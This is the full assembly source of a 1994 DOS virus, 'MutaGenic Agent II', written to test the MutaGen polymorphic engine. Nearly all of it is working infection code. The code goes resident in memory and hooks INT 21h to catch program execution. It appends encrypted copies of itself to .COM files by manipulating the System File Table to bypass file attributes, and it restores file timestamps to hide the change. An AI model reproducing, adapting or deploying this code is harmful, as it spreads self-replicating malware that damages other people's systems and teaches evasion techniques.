; ========================================================================>
;  MutaGenic Agent ][ - MutaGen V1.3 Test Virus
;  by MnemoniX 1994
;
;  A simple resident .COM infector implementing MutaGen.
;  To assemble:
;       TASM mg2
;       TLINK /t mg2 mutagen
; ========================================================================>

ID              equ     'MG'

PING            equ     0BADh                   ; a seldom used DOS function
PONG            equ     0DEADh                  ; residency response

MUTAGEN_SIZE    equ     1652                    ; version 1.3

extrn           _MUTAGEN:near

code            segment byte    public  'code'
                org     100h
                assume  cs:code,ds:code,es:code,ss:code

start:
                jmp     virus_begin             ; fake host program
                dw      ID                      ; infection signature
virus_begin:
                call    $ + 3
                pop     bp
                sub     bp,offset $ - 1

                mov     ax,PING                 ; are we already resident?
                int     21h
                cmp     dx,PONG
                je      installed               ; if so, don't repeat ...

                mov     ax,ds                   ; blah, blah, blah
                dec     ax
                mov     ds,ax

                sub     word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
                sub     word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
                mov     ax,ds:[12h]
                mov     ds,ax

                sub     ax,15
                mov     es,ax
                mov     byte ptr ds:[0],'Z'
                mov     word ptr ds:[1],8
                mov     word ptr ds:[3],(MEM_SIZE + 15) / 16

                push    cs                      ; now move virus into memory
                pop     ds
                mov     di,100h
                mov     cx,(offset virus_end - offset start) / 2
                lea     si,[bp + start]
                rep     movsw

                xor     ax,ax                   ; move interrupt vector 21
                mov     ds,ax

                mov     si,21h * 4              ; (saving it first)
                mov     di,offset old_int_21
                movsw
                movsw

                mov     ds:[si - 4],offset new_int_21
                mov     ds:[si - 2],es

installed:
                push    cs
                push    cs
                pop     ds
                pop     es

                mov     di,100h                 ; restore original host
                push    di
                lea     si,[bp + host]
                movsw
                movsw
                movsb

                xor     ax,ax                   ; fix a few registers
                cwd
                mov     si,100h

                ret                             ; and leave

new_int_21:
                cmp     ax,PING                 ; residency test?
                je      pass_signal             ; yah yah!

                cmp     ax,4B00h                ; program execute?
                je      execute                 ; oui oui ...

int_21_exit:
                db      0EAh                    ; nope, never mind
old_int_21      dd      0

pass_signal:
                mov     dx,PONG                 ; give passing signal
                jmp     int_21_exit

execute:
                push    ax bx cx dx di si es ds ; a PUSHA is nicer, but it
                                                ; won't work on an 8088

                mov     ax,3D00h                ; open file
                int     21h
                jnc     get_sft
                jmp     cant_open               ; ecch ...
get_sft:
                xchg    ax,bx                   ; this virus implements the
                push    bx                      ; use of System File Table
                mov     ax,1220h                ; (TM) manipulation
                int     2Fh

                mov     ax,1216h
                mov     bl,es:[di]
                int     2Fh
                pop     bx

                push    cs
                pop     ds

                mov     cx,5                    ; read header of file
                mov     dx,offset host
                mov     ah,3Fh
                int     21h

                cmp     word ptr host,'ZM'      ; .EXE file?
                je      dont_infect             ; oh well ...

                cmp     word ptr host[3],ID     ; already infected?
                je      dont_infect             ; maybe next time ...

                mov     word ptr es:[di + 2],2  ; a slick way of sidestepping
                                                ; file attributes
                mov     ax,es:[di + 11h]        ; get file size

                cmp     ax,65729 - VIRUS_SIZE + 100
                jae     dont_infect             ; don't infect, too large
                
                mov     es:[di + 15h],ax        ; move to end of file

                sub     ax,3                    ; adjust for jump
                mov     word ptr new_jump[1],ax

; MutaGen calling routine
                push    es di

                push    cs                      ; setup registers
                pop     es

                mov     di,offset virus_end
                mov     si,offset virus_begin
                mov     cx,VIRUS_SIZE
                add     ax,103h
                mov     dx,ax

                call    _mutagen                ; "It's a POLYMORPHIC WAR
                                                ;  OUT THERE!" - P. Ferguson

                pop     di es                   ; restore DI and ES

                mov     ah,40h                  ; save virus code to file
                int     21h

                mov     word ptr es:[di + 15h],0 ; reset file pointer

                mov     ah,40h                  ; and write new jump to file
                mov     dx,offset new_jump
                mov     cx,5
                int     21h

                mov     cx,es:[di + 0Dh]        ; restore file time
                mov     dx,es:[di + 0Fh]
                mov     ax,5701h
                int     21h

dont_infect:
                mov     ah,3Eh                  ; close up shop
                int     21h
cant_open:
                pop     ds es si di dx cx bx ax
                jmp     int_21_exit

                db      '[MutaGenic Agent II]',0

host:                                           ; original host header
                mov     ax,4C00h
                int     21h

new_jump        db      0E9h                    ; new jump instruction
                dw      0
                dw      ID

virus_end       equ     $ + MUTAGEN_SIZE + 1    ; add MutaGen size to virus
                                                ; size

VIRUS_SIZE      equ     virus_end - virus_begin
MEM_SIZE        equ     VIRUS_SIZE * 2 + 100    ; extra memory for encryption
                                                ; buffer

code            ends
                end     start